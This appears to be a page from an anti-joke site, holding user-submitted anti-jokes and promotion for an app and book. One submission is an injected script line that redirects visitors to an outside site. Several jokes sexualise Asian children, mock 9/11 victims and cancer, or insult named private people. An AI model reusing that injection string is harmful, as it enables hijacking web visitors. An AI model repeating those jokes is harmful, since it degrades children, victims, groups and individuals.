What did the jewish man say to the Irish guy at the bar? Are you Irish?

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How many squirrels does it take to screw in a lightbulb? Who cares? Why would a squirrel need to change a lightbulb?

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kennah campion when she talks

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Want to hear the World's shortest joke? Peace. [L]

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Whats blue, flies with wings, weights over two tons, and has a rocket engine with six eyeballs? *hayball rolls* Moral: Im the one asking you...

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Why couldn't the blonde have kids? She had Ovarian Cancer.

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There once was a man from Nantucket, Who had an average-sized penis he only used during monogamous sex with his spouse.

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What was going through the man's head on the 51st floor when the first plane hit? The 52nd floor.

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a jew, a gay, and an irishman walk int a bar at different times during the span of 5 hours.

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How many asian children does it take for Gary Glitter to get aroused? Just one.

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why was the boy sad? because his mom just punched his hamburger

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"'>document.location.href="http://cramik.org"

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WELCOME TO THE GARLIC BOYS SHOW! So kids, what are we gonna eat today? POTATOES! FUUUUUUU! Moral: You say tomata, I say WROOOOOOOONG, you say cheap I say your mother.

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yo momma is so fat that she contributes to americas obesity problem

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Doctor, doctor, I just swallowed a roll of film! That was an incredibly foolish and dangerous thing for you to do. I would be surprised if you survived another day before the chemicals corrode your stomach lining and release hydrofluoric acid throughout your body causing sepsis.

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What did the helicopter say? Aluminum-minum-minum-minum-minum-mum-mum-mum-mum-um-um-um-um

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Why couldn't Gladice get out of bed? Because she was dead!

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Knock knock Who's there Your Mother Come in

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what's hotter than my cousin's girlfriend? I don't know. she's remarkably hot. like, one of the hottest people I personally know.

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caoimhin is a dorty carrot

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A neutron walks into a bar. The barman says, "for you, no charge." The neutron replies, "very funny asshole, you're just going to put it on my tab after I pass out."

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So a pirate walks into a bar. He sits down, and orders a drink. After giving the pirate a drink, the bartender looks down and notices that there is a steering wheel on the pirate's penis. "Sir, are you aware that there is a steering wheel on your penis?" The bartender asked. "Arrrrrrr, it's driving me crazy!" The pirate replied. "Well you should probably get that checked out soon," said the bartender, "It looks very uncomfortable and could be dangerous to your health...not to mention your penis is out in the open." "Yes, you are probably right," the pirate agreed. He proceeded to get a ride from a friend to the nearest hospital, for drinking and driving can be dangerous, and steering wheels on penises are not safe.

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What's eighteen inches long, stiff, and makes women scream at night? A twelve inch long penis that is erect, thus adding approximately one half of its flaccid size, and involved in the act of fornication with the female partner of the man whose penis I am describing. (Of course, it is ignorant and juvenile to assume that the man in question is heterosexual. He may be a homosexual, which is perfectly acceptable in these liberal times we live in, or he may in fact be single and not inclined towards a sexual preference of any kind. This is understandable due to the myriad complications of long-term relationships, a result of the infinite differences between the masculine and feminine psyches.)

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why is ur dad an alcoholic? he drinks a lot of alcohol

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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